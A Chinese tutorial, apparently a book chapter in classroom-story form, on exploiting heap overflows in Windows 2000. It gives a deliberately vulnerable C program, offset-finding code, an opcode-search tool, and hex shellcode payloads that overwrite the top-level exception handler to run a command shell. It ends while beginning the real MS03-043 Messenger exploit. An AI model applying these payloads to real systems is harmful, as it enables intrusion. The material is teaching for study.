Windows下堆溢出利用编程

小执念 · 2015-12-26 22:03

　　周末很快就过去了，宇强正准备去上课，突然收到了条手机短信。宇强打开一看，哇！居然是小倩。

　　“我买手机了，这是我的手机号一吴小倩。”

　　她回家果然买了个手机。宇强想了想，赶忙回复短信信，“现在去上课吗？我们一起去吧！在报亭见怎样？” 发完后，宇强怀着不安的心情等待着，并对自己的唐突行为有点自责！

　　过了一会，小倩回短信了，“好吧！一会见。”

　　宇强不安的心终于平稳了下来，好高兴啊！

　　从报刊亭去教室的路上，宇强一直给小倩讨论着喜欢的足球，世界杯上马拉多纳的长途奔袭、齐达内的两次抢点。让宇强吃惊的时，小倩居然除了贝克汉姆外，还知道劳尔。

堆　溢　出　初　探

　　走进教室时，老师已经到了。两人急忙找空位置坐下。

　　“这周末大家过得还不错吧？ ”老师问道。
　　“好！ ”大家齐声回答。

　　“大家发过来的作业（反连后门的ShellCode)我都看过了，做的都很认真。学习就是要有这样的精神！” 老师满意的说道。

　　“你帮我发给老师了吗？”小倩小声的问旁边的宇强。
　　“嗯，放心吧！发了。”宇强说。

　　老师在台上继续说道：“现在大家用的提取ShellCode的方法，都是先写出汇编，然后再一句句的对应着抄下来。虽然麻烦，但可使大家多次熟悉程序的流程，对大家掌握基础是大有好处的。”

　　老师歇了下说道：“当然，也有些轻松提取ShellCode的方法，等大家知识进一步巩固后，我再教给大家！” “哦，那今天讲什么呢？ ”古风急着问道。

　　“Windows下的溢出有很多种，比如格式化溢出、整数溢出、堆栈溢出和堆溢出等。而现实中最常利用的是堆栈溢出和堆溢出。所以学习缓冲区溢出，除了堆栈溢出外，还得学习堆溢出！ ”

　　“哦！那今天是学习堆溢出？”
　　“是的。”

　　“堆？是什么呀？感觉《数据结构》里面也有堆这种概念。”宇强联想到了另一门课。

　　“不错！但这里的堆不是《数据结构》里说的堆；《数据结构》里的堆是种抽象结构，要求父结点比子结点的值都大（或小）；而这里我们说的堆，是Windows系统中的一种物理结构，用来动态分配和释放对象，用在事先不知道程序所需对象的数量和大小的情况下，或对象太大而不适合堆栈分配程序的时候。英文就是heap。”老师说。

　　“堆栈溢出和堆溢出，只相差一个字，但内容却完全不同。”老师说道，“堆栈，在可执行程序的text 区，是从高地址向低地址扩展，是存放局部变量的地方，在编译时由编译器静态分配。”

　　“而堆，是在可执行程序的heap区，从低地址向高地址扩展，是存放由malloc等函数动态分配数据的地方。其结构关系在内存中的映射如下图。当然，还有其他的data区等。”

　　“堆栈溢出，我们已经详细分析利用过了。而堆溢出，就是给分配的堆拷字符串时超过了所分配的大小，从而造成的溢出。我们也可利用堆的溢出来实现我们想要的功能。”

　　“在Windows下，用户要求分配堆时，可以通过一系列函数来完成。可以使用Win32的堆调用API函数，或者C/C++运行期库的函数等。”

　　小知识：
　　和“堆”有关的几个API函数
　　HeapAlloc在堆中申请内存空间
　　HeapCreate创建一个新的堆对象
　　HeapDestroy销毁一个堆对象
　　HeapFree释放申请的内存
　　HeapWalk枚举堆对象的所有内存块
　　GetProcessHeap取得进程的默认堆对象
　　GetProcessHeaps取得进程所有的堆对象

　　“以上都是用户态的函数，最终都要调用ntdll里面的Rtl相关核心函数。比如，堆分配函数的关系如下图。所以，我们只用考虑RtlAllocateHeap的就行了。”

　　“最好的学习方法是类比或对比。如果之前对新知识的相关背景有所了解，那学习起来会很快上手，而且很多思想和方法都可借鉴以前的东西。”老师问道，“大家觉得该和什么知识对比呢？”

　　“当然是和堆栈溢出相对比罗！ ”玉波没好气的说，“其他的溢出还不知道呢！”

RtlAllcoateHeap　的　失　误

　　“呵呵，对！ ”老师说道，“我们和Windows下的堆栈溢出相对比。我们先复习一下堆栈溢出利用的三大步骤。”

　　1.返回点的定位。利用报错精确定位溢出返回点。
　　2.ShellCode的编写。我们可以自己写，也可以拿现成的用；比较科学的方法是稍微修改一下外面的代码，完成我们想要的功能。
　　3.跳转到ShellCode。把函数返回点覆盖成JMP ESP的地址，或者把异常处理点覆盖成CALL EBX或者pop pop ret的地址。

　　“其示意图如下图

　　也可以是这样子。“

　　“这三点大家都还记得吧？”老师问。
　　“嗯，当然！”

　　“好，我们就从这三点出发，看看堆溢出的原理和利用吧!

有　问　题　的　例　子

　　“我们看一个简单的有堆溢出问题的程序heapvul1.c

[mw_shl_code=c,true]#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
char mybuf[] = "ww0830";
int main (int argc, char *argv[])
{
HANDLE hHeap;
char *buf1, *buf2;
//我们自己建立一个HEAP
hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
printf("mybuf addr = %p\n",mybuf);
//动态分配buf1
buf1 = HeapAlloc(hHeap, 0, 200);
strcpy(buf1,mybuf);
printf("buf1 = %s\n",buf1);
//动态分配buf2
buf2 = HeapAlloc(hHeap, 0, 16);
HeapFree(hHeap, 0, buf1);
HeapFree(hHeap, 0, buf2);
return 0;
}[/mw_shl_code]

　　“我给大家大致解释一下：”

　　“hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000，0xfffff);，，是建立一个堆，以免破坏进程默认HEAP;

　　“bufl = HeapAlloc(hHeap, 0, 200);” 是动态分配 200 字节的 bufl;

　　“strcpy(buf1,mybuf); ” 是把 mybuf 数组的内容拷贝给 bufl;

　　“buf2 = HeapAlloc(hHeap, 0, 16);” 表示接着分配 buf2;

　　“HeapFree(hHeap, 0, bufl); HeapFree(hHeap, 0, buf2);” 表示最后把 bufl 和 buf2 释放掉后就退出。

　　“我们执行一下试试，使用VC的RELEASE方式编译，并在命令行下运行，程序就会打印出mybuf地址和 bufl内容，然后退出。”

　　小知识：
　　在VC下可以生成DEBUG版本和RELEASE版本程序。DEBUG版被称为调试版，RELEASE版被称为发布版。DEBUG 版程序中，会有一些用于调试的信息，所以会比RELEASE版程序大很多；而且有一些内部处理和分配过程，比如堆的分配，两者也不同。

　　“DEBUG版的程序与实际运行程序的内存结构是不同的，所以刚才那个程序要用VC按照RELEASE方式编译，并在命令行下运行它，不要在MSDEV中调试运行。”

　　“在VC下生成RELEASE版的方法是：选择菜单栏‘编译’一‘放置可远程配置’，然后在弹出的‘活动工程配置’中选择‘Win32 RELEASE’，这样，生成的程序就会在Release目录下，并且是发布版本。” “也可以在工具栏的‘Select Active Configurature’框中直接选择生成Release版，如下图。”

　　“在mybuf数组很小的时候，程序没有任何问题，我们稍微改变下程序，只是加长mybuf的长度，变为240 个A。”

　　“我们重新生成RELEASE版的程序，在命令行下运行它。效果如下图。”

　　“哦！出现报错对话框了！ ”大家说道！
　　“内容为〃0x77fcb3f5〃指令引用的"0x41414141〃内存。该内存不能为"written"。‘0x41’就是大写字母 A的16进制码。”

　　“不过这里报的是‘written’错误啊！莫非和Foxmail—样，覆盖的字符串太长了？ ”古风疑惑的问道。
　　“不，堆溢出要的就是这样的效果。”老师说道，“我们下面借鉴一下堆栈溢出编程的三个步骤！”

堆　溢　出　点　的　定　位

　　“第一步、溢出点的定位。因为这里会出现报错对话框，所以我们可利用它很准确的得到溢出点的位置。如果记不清楚，请复习一下以前的内容，这里大概过一遍。”

　　“首先改变程序，把mybuf数组填充的方法改变一下，改变的程序为heapvul3.c。我们把 mybuf数组的填充方法替换为：”

[mw_shl_code=c,true]for(i=0; i<240; i++)
{
mybuf = 100 + i % 10;
}[/mw_shl_code]

　　“重新生成程序并在命令行下执行，这次报错框成了〃0x77fcb3f5〃指令引用的"0x69686766〃内容，该内存不能为"written"，如下图。”

　　“我们记下这个数字，看来是‘0x69686766’覆盖到了溢出点。我们把mybuf = 100 + i % 10的取余数改为整除，得到程序heapvul4.c 。”

[mw_shl_code=c,true]for(i=0; i<240; i++)
{
mybuf = 100 + i / 10;
}[/mw_shl_code]

　　“执行heapvul4，这次出现的错误框成了 "0x77fcb3f5"指令引用的"0x79797979"内容，该内存不能为 "written"，如下图。”

　　“我们分析一下这两个过程。第一次是把mybuf数组不停的加上100〜109，即十六进制0x64〜0x6D的循环；第二次则是以10为一段长度，每段分别以0x64、0x65……来填充mybuf。”

　　“第一次溢出时，报错值是0x66,此时数组中只有0x64〜0x6D不断循环，所以我们可以推出尾数是0x66－0x64 = 2。 ”

　　“第二次溢出时，报错的全部是0x79,而此时是从0x64开始，每10个数为一段。0x79－0x64 = 0x15 (十进制的21)，即在字符串的第21个段。”

　　“我们可以计算出出错点的位置了，如下：”
(0x79－0x64) X10+ (0x66－0x64) =21X10 + 2 = 212 “大家验证一下，指定mybuf第212开始的四个字节是‘BBBB’，其余全部为‘A’。如果我们的计算正确，那么应该是0x42 (B的十六进制）覆盖到溢出点。”

[mw_shl_code=c,true]for(i=0; i<240; i++)
{
mybuf = 'A';
}
mybuf[212] = 'B';
mybuf[213] = 'B';
mybuf[214] = 'B';
mybuf[215] = 'B';[/mw_shl_code]

　　“好，这样修改后，执行该程序，大家看!

　　“哇！果然弹出的对话框成了〃0x77fcc39e〃指令引用的"0x42424242〃内容，该内存不能为written。我们的计算非常正确哦！ ”大家说。

　“我们分配的buf1是200个字节，溢出点却是第212个字节，看起来有点奇怪吧！ ”老师说。
　　“是啊，怎么会是这个数字呢？ ”大家都很奇怪。

　　“不要紧，分析之后就清楚了。我们还是先按步骤继续吧！”

ShellCode　的　特　殊　要　求

　　“第二步、ShellCode的编写。我们已经详细解释过了，但堆溢出的ShellCode有特殊的要求。

　　(1)       如果溢出的是默认堆，则不能使用网络相关的函数，比如开端口、反连等ShellCode都不能使用；
　　(2)       可以想办法在ShellCode中恢复默认堆，然后再使用网络相关ShellCode，但有时恢复堆后仍不能用网络编程的函数；
　　(3)       新建一个堆，不用默认堆；
　　(4)       干脆就不用网络相关的ShellCode，只用添加用户一类的ShellCode。”

　　“可以看出，堆利用比较麻烦，在ShellCode中恢复堆这类高级技巧会在ShellCode高级编程中提到。这里就用最简单的手段一打开DOS窗口。”

　　“倒……”台下全晕了，“又开DOS窗口啊！”

　　“这里只是为了说明方法，以后用复杂可行的ShellCode替换就行了。”

跳　转　到 ShellCode

　　“第三步，跳转到ShellCode。”
　　“这里是关键！和堆栈一样，涉及到系统内部的处理机制了。”
　　“ bufl = HeapAlloc(hHeap, 0, 200)，程序动态分配200字节的bufl，堆结构如下图。

　　“先是8字节‘buf1’的管理结构，该结构对用户是不可见的；然后是系统返回给我们能实际操作的200 字节的空间，‘buf1’就是从这儿开始的；接着是8字节的下一空闲堆的管理结构；最后是两个双链表指针，各4个字节共8个字节。”

　　老师歇了一口气，说：“最后的两个双链表指针才是真正的关键。我们用超长字符串覆盖‘buf1’的时候，其溢出后的结构如下图。”

　　特别的，当用其他字符为A、第212字节为B覆盖时，其结构如下图。

　　“200+8+4=212,这就是我们计算得到溢出点为212字节的原因。我们把结构最后的双链表指针覆盖了，那系统要使用它们时当然会不正确，会出错一一这就是要出现报错对话框的原因。”

　　“哦！ 212的位置是这样得到的啊！ ”大家恍然大悟。
　　“报的是write错误，莫非是要往后一个地址写东西？ ”宇强不解地说。

　　“对！当程序分配‘buf2’的时候，就要使用那两个双链表指针了，且eax为前一指针的值，而ecx为后一指针的值，并作如下操作：mov?[ecx]，eax; mov [eax+4]，ecx，该操作的目的是在分配内存时改变链表的指向。”

　　“对刚才的程序来讲，在我们在最后一次覆盖时，其结构和指针被覆盖为下图的的样子。”

　　“当系统重新分配‘buf2’，执行到mov?[ecx]，eax时，就等于执行mov [BBBB]，AAAA。即 mov[0x42424242]，0x41414141，就是把 0x41414141 写入到 0x42424242 地址的内存中，而地址 0x42424242 一般是不能写的，所以就会报0x42424242不能写的错误。”

　　“哦！原来是这样。”

　　“出错时程序就会终止，如果还要执行下一操作mov [eax+4]，ecx，就等于mov [AAAA+4]，BBBB，即mov [0x41414145]，0x42424242 了，就是把0x42424242写入到0x41414145的地址中，通常也是会出错的。”

　　“把这个过程抽象出来，系统中有what—where的操作，而我们可以把what和where覆盖成任意的值。当 where像上面一样是个随意的值时，会出现写错误。那我们怎样精心构造where和what，使系统能跳转到我们想要的地方 ShellCode呢？” 老师端起杯子，悠闲的说：“大家先自己想想，讨论一下各自的想法，就我一人讲，可能大家都会听困的。”

　　“就是有what—where的操作，what和where该改写成什么呢？ ”老师再提示道。

　　古风想了想，说：“可以像堆栈溢出利用一样，覆盖函数的返回点。因为有what—where的操作可把what 的值构造成ShellCode的地址，把where的值构造成某个函数返回点的地址，这样执行what—where时，就可以用ShellCode的地址覆盖函数返回点的值，函数返回的时候我们的ShellCode就可以执行了。如下图。”

　　老师说：“不错，是个很好的方法，还有想法吗？”

　宇强灵机一动，悄声的对小倩说：“既然可以覆盖函数的返回点，那好像也可以覆盖函数入口点的地方哦？” 小倩想了想：“嗯，是啊，应该可以！”

　　于是宇强大声说道：“我们也可以把ecx的值构造成某个函数入口点的地址，这样，执行那个函数时，就执行我们的ShellCode 了。当系统后面要调用那个函数时，其实就执行了我们的ShellCode。如下图。”

　　老师非常满意的说：“Very Good！堆溢出向来以通用性困难著称。各个能利用的漏洞都有独特的利用方法，上述两种方法都曾在实际中使用过。”

　　“在这里我再介绍一种比较基础的方法，覆盖默认异常处理的地址。”

覆盖默认异常处理

　　“在堆栈溢出中已经讲过，SEH (Windows的结构化异常处理)是一种程序异常的处理机制，在Windows系统中，是按照链式层状结构组织的，如下图。”

　　“发生异常时，操作系统就会查找异常处理链表，找对应这种异常的处理程序；找到了对应的处理程序后，就去执行处理程序，以避免系统崩溃。”

　　“嗯，的确讲过。”大家都点点头。
　　“具体的说，其异常处理过程是：先找到fs:[0]中所包含的地址，这个地址存着上一层异常链指针，而在这个地址+4的地方存放着处理函数的地址，操作系统就自动跳到这个地址去执行异常处理函数。当这个函数无法对异常进行处理时，再根据上一层的异常链指针找到上一层的异常处理指针来处理。”

　　“上次堆栈溢出的时候，我们覆盖的是fs:[0]，这里堆溢出也可以这样吗？ ”宇强插话问道。

　　“非常好！的确可以！覆盖的形式是这样的，如下图。”

“但是，”老师话锋一转，“这里的where需要是一个确切的地址值，fs:[0]对于单线程是比较固定的，但对于多线程却是不定的。”

　　“大家回想一下，我们在堆栈溢出中覆盖fs:[0]时，用的都是相对地址，从来没有使用过绝对地址。堆栈溢出中，覆盖SEH和跳转到ShellCode的示意图如下图。”
b[〇]和如指向处理程mm

　　“我们把第一个异常处理程序地址覆盖成CALL EBX的地址。当异常发生时，就执行该地址内容——CALL EBX，而EBX正好在前面4个字节，我们把它改为JMP 04就可跳入ShellCode中了。”老师又解释了一遍。

　　“哦！我们当时只是知道fs:[0]离缓冲区有多远，要多少个无用字符填充才能到达，但的确不知道当时的 fs:[0]究竟是多少啊！ ”大家说道。

　　“对！这里需要的是确切地址！用fs:[0]有时可以，有时就不行。”老师说。
　　“那怎么办呢？即使每次运行同一个程序，fs:[0]好像都要变啊！ ”同学们又疑惑了。

　　“呵呵，fs:[0]地址会变，但系统的默认异常处理函数却不会变！我们就使用它。”老师说道。

　　小知识：默认异常处理
　　当链表中所有的异常处理函数都无法处理异常时，系统就会使用默认异常处理指针来处理异常情况。

　　默认异常处理指针通过如下函数来设置：
　　SetUnhandledExceptionFilter(??LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter)

　　默认异常处理指针通过如下函数来调用：
　　LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

　　它负责显示一个错误对话框，来指出出错的原因，这就是我们一般的程序出错时显示错误对话框的原因。

　　“我们一起来看看吧！ ”老师说道，“用IDA打开kernel32分析，在Functions中选中 ‘ SetUnhandledExceptionFilter ’就会跳到如下图的代码。意思是把异常处理程序地址放入 0x77EB63B4中，即Win2000 SP3默认异常的处理指针是0x77EC044c。”

　　“当有不能处理的异常发生时，系统调用UnhandledExceptionFilter函数，它其实就是call [0x77EC044c]，即执行0x77EC044c指向的异常处理程序，那我们可以……”

　　“哦！我们可以把where赋成0x77EC044c! ”
　　“对！我们把where覆盖成0x77EC044c，what覆盖成ShellCode的地址，如下图。”

　　“那执行了 mov[ecx]，eax后，0x77EC044c里就是我们ShellCode的地址。当发生异常时，系统会执行call [0x77EC044c]，当然就跳到我们的ShellCode中了。”

　　“Yeah！可以跳转了！”全班同学都很高兴。

　　“注意，这里有个小问题，mov[ecx]，eax后，跟着还有一句mov [eax + 4]，ecx，这样不但把shellcode 地址写进默认异常处理地址中，也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中，把 Shellcode中的指令破坏了。”

　　“就是啊……”
　　“要解决这个问题，我们可以用JMP 6这样的指令来代替nop，这样就能跳过后面被破坏的字节。”
　　“现在回到我们的程序中，把它合起来吧！ ”老师说道，“先是208字节覆盖掉‘bufl’的空间和空堆的管理结构；然后是4字节ShellCode的地址，最后是4字节异常处理地址。如下图。”

　　“但这里的ShellCode的地址是多少呢？ ”宇强问道。
　　“问得好！ ”老师说，“我们先把ShellCode保存在‘mybuf里面，所以直接把‘mybuf的地址读出来填入即可。”

　　“哎哟！‘mybuf是数组，那地址还是会变，还是不通用啊！ ”大家觉得很奇怪。

　　“嗯，这样做的确不通用，后面我们会改进的，这里先试试效果！ ”老师说道，“构造出来的‘mybuf’是这样的：”

char mybuf[240] =
"\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90" //Jmp 06和NOPS 共101 bytes
//下面是开DOS窗口的ShellCode，有107字节
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3
"\xFF\xD0"
//上面一共208字节，接下来就是ShellCode地址和顶层异常处理地址
"\x40\x60\x40\xFF\x4c\x04\xec\x77"

　　“运行报错，如下图。可以看到‘mybuf的地址是0x00422A40,所以我们要把ShellCode的地址（即 What的位置）赋成它。”

　　“注意啊！ ‘mybuf’的地址是有00的，strcpy拷贝字符串时就会被截断。所以我们先赋成ff,在main 里面拷贝完成后，再把改回00 。编译并执行，弹出了一个DOS对话框，如下图。”

　　“哦！成功了！”
　　“虽然这个exp很简陋，但也是实际可用的雏形。我们继续讨论，改进利用方式！”

　　小知识：0x00和截断问题
　　关于ShellCode中含有0x00,并不是赋值时被截断，赋的值都会在内存里面。比如字符串0x0102000304, 都会存进去；但在C语言中，字符串结束的标志是0x00,所以像使用strcpy函数时，就只拷贝到0x010200 就结束，不会拷贝后面的0304;而改成memcpy直接拷贝内存字符串长度，就不会被00截断，网络传输时，像send函数也是发送指定长度的字符串，不会被00截断。

定　位　的　改　进——call　[esi+0x4c]

　　老师小结了一下：“默认异常处理地址在Win2000 SP3下是0x77ec044c。但在不同系统、不同SP下，其值是不一样的。我们可像刚才一样，用IDA反汇编kernel32.dll分析，但很麻烦；也可用isno写的 GetTopSeh.c来获得默认异常处理地址，程序如下，我加上了一些注释。”

[mw_shl_code=c,true]#include <stdio.h>
#include <windows.h>
void main()
{
unsigned int sehaddr;
int *un;
HMODULE hk = LoadLibrary("KERNEL32.dll");
un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
//找到SetUnhandledExceptionFilter函数的地址
_asm{
mov eax,un
add eax,5
mov ebx,[eax]?
mov sehaddr,ebx //函数开始的第5个字节就是默认异常处理地址。
}
printf("the top seh: 0x%x\r\n",sehaddr); //将默认异常处理地址打印出来
_getch();
return;
}[/mw_shl_code]

　　“对比IDA里面的代码，应该很容易理解，程序是读出SetUnhandledExceptionFilter函数开始后第5个字节的内容，即异常处理指针的存放位置，然后打印出来。执行效果如下图,在我的Win2000 SP3机器上，默认异常处理地址是0x77ec044c。”

　　“有了这个方便多了！”大家说道，“我们可把所有系统的默认异常处理地址都读出来，然后存储起来供以后使用。”

　　“但是……”古风问道：“where是可以正确确定了，但what呢？还是不能确定啊！”
　　“对！刚才ShellCode的地址是在主程序里直接读出来的，虽然我们可用NOP暴力扩大ShellCode的范围，但通用性始终不好。我们将它改进一下吧！ ”老师说道。

　　“怎么改进呢？有什么东西指向堆的数据吗？”古颇感兴趣。

　　“呵呵，Windows 2000作顶层异常处理时，esi+0x4C正好指向下一个堆管理结构，如下图。大家想想，怎么做可以改进定位呢？”

　　大家个个眉头紧蹙。

　　“哦！”宇强一下叫了出来，“我们把what覆盖成call [esi + 0x4c]的地址。这样异常发生时，系统就会执行call [esi + 0x4c]，从而到达下一个空闲堆的管理结构中。在那里，我们放上JMP 0F指令，就可跳过后面的what和where，最后到达ShellCode。”

　　“呵呵，很好，上来画一下示意图吧！”老师鼓励道。

　　宇强走上讲台，拿起粉笔，画出了下图所示的利用思路。

　　“首先覆盖what为call [esi + 0x4c]的地址，where为默认异常处理的地址0x77EC044C，”宇强边画边解释，“这样wha—where操作时，0x77EC044C就会被覆盖成call [esi + 0x4c]的地址；如果发生顶层异常处理，就会跳到call [esi+0x4c]指令的地方；一执行call [esi+0x4c]就到了我们能操控数据的位置。”

　　“嗯！就是这样！ ”大家都很赞同宇强的的说法。

　　“但有个地方还不明白，什么时候会发生默认异常处理呢？ ”宇强从台上下来时问。

　　“很好！ ”老师说道，“大家都要向宇强学习啊！要敢于表达自己的思想，也要敢于提出自己的问题！只有经过思考，大家的思维才能得到锻炼和提高。”

　　“而发生异常处理的时间，是what—where后，有一个where—what+4的操作，如果保证what+4的地址不可写，那就可以引发顶层异常处理了。”

　　“哦，这下思路清楚了。”古风一下子明白了。
　　“我们赶紧合起来利用吧！”同学们都迫不及待。

　　“但是，”老师提醒道，“大家发现没有，call [esi+0x4C]的地址是多少呢？我们还没有呢！”
　　“对啊！ call [esi+0x4C]的地址还没找呢！”
　　“我们可把查找JMP ESP的程序FindJmpEsp.cpp稍微改进一下，让它可以找其他指令。我们先找到call [esi+0x4C]的机器码是什么，然后在各个dll中找这样的机器码。”老师说。

　　“首先，我们写一个简单的嵌套汇编的程序，如下：”

__asm
{
call [esi+0x4C]
}

　　“和前几节课的方法一样，我们在VC中按F10调试，再点‘Debug’工具栏中的‘Dissassble’按钮，然后点鼠标右键，在弹出菜单中选中‘code byte’，此时会出现call [esi+0x4C]的机器码了。如下图。”

　　“这下我们知道了 call [esi+0x4C] 的机器码是FF 56 4C，我们把FindJmpEsp.cpp 改成在dll 中找机器码FF 56 4C的程序（FindCallEsi4C.cpp），如下：”

[mw_shl_code=c,true]#include<iostream.h>
#include<windows.h>
int main(int argc, char ** argv)
{
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = "User32"; //默认查找user32.dll里面的指令
if(argc>1)
{
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname); //加载dll
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++) //在dll中查找FF 56 4c并打印
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0x56 && ptr[y+2] == 0x4c )
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h); //释放dll
return 0;
}[/mw_shl_code]

　　“这个程序如果不带参数，默认在user32.dll中查找机器码；也可将要查找的dll名作为参数运行。在 VC环境下，设置程序的参数步骤如下：先点击‘工程一设置’。”

　　“然后在工程设置对话框中选择‘Debug’栏，在‘程序变量’一栏填写要查找的dll名称，这里我们还是填成user32.dll。”

　　“设置好后，编译、运行，我们可以看到，在user32.dll中找到了一个，地址是0x77e2f91f。如下图。”

　　“哦！这下可以得到构造字符串的示意图了。”同学们画下了下图。

　　“嗯，下面我们就按照这个图构造出数组‘mybuf’，以实现覆盖，如下：”老师说道。

char mybuf[450] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //上
面先用200字节填充“buf1”
"\xeb\x12\x90\x90\x90\x90\x90\x90" //8字节堆管理结构，eb 12跳过what和where
"\x1f\xf9\xe2\x77" //覆盖what，call[esi+0x4c]在user32中的地址
"\x4c\x04\xec\x77" //覆盖where，TOP SEH在2000中文SP3的地址
//下面是Win2000 SP3下开DOS窗口的ShellCode，参看第二章
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3
"\xFF\xD0";

　　“大家注意，我们找的call [esi+0x4C]的指令地址是在user32.dll里面，所以要先 LoadLibrary(“user32”），以保证加载了 user32.dll动态链接库。编译、执行，还是弹出了一个DOS对话框！如下图。”

　　“也成功了！ ”大家都非常高兴。
　　“好，明白了堆溢出利用的原理，我们来尝试一个真正的漏洞吧!

实　例——Message　堆　溢　出　漏　洞　的　利　用

　　“我们来看一个现实中真正的堆溢出漏洞——Windows Message堆溢出漏洞。其漏洞公告MS03 — 043，如下图。”老师说道，“大家先仔细看看。”

溢　出　点　的　定　位

　　“Messenger服务是一个Windows服务，它传送net send消息。在CMD控制台下，我们执行net send对方计算机名消息，对方就会弹出一个信使服务对话框，显示我们传递给它的消息内容。如下图。”

　　“哦，这种消息传送的方法，比不上QQ、MSN，有什么用呢？ ”大家问道。

　　“Windows Message服务除了用于用户间发送消息、管理员向用户发送管理警报外，也可用作事件通知，比如当打印作业完成或计算机断电而切换到UPS时，自动使用Message通知用户。”

　　“哦，原来可以和其他程序联动啊！ ”大家都明白了。

　　“是的。我们从上图的信使服务对话框中可以看出，传送的Message包括发送方计算机名、接收方计算机名、时间和消息。”

　　“确切的说，Message数据包的结构如下图。它是通过NetBIOS (即137—139端口或UDP的135端口）传输的。”

　　“有了 Message结构和前面网络编程的基础，我们完全可写出一个程序来完成net send正常传送消息的功能。”老师说道，“但我们要更进一步，不仅要能正常传送，还要使其溢出！”

　　“哦？是哪部分发生了溢出呢？时间部分？还是机器名部分？”大家猜测道。

　　“呵呵，微软的公告上都说了，导致该漏洞的原因是：没有正确的验证长度就把消息传递给缓冲区了。所以消息部分过长后，就可以导致堆溢出！”

　　“哦，是这样啊！”

　　“明白了溢出的原因后，我们就可以先搭一个框架，然后根据别人的漏洞分析（或者利用前面的方法）定位溢出点。”老师在黑板上画了起来，“我们可以得到：是消息的2263个字节达到了下一个堆管理结构，接下来就是两个要改写的操作指针，如下图。”

　　“哦！和前面的堆溢出分析果然一模一样啊！ ”同学们感叹道。 “是的，我们继续按照经典的三步走，完成攻击。”

通　用　和　编　码　ShellCode　初　接　触

　　“定位了溢出点，下一步就是ShellCode的编写。”

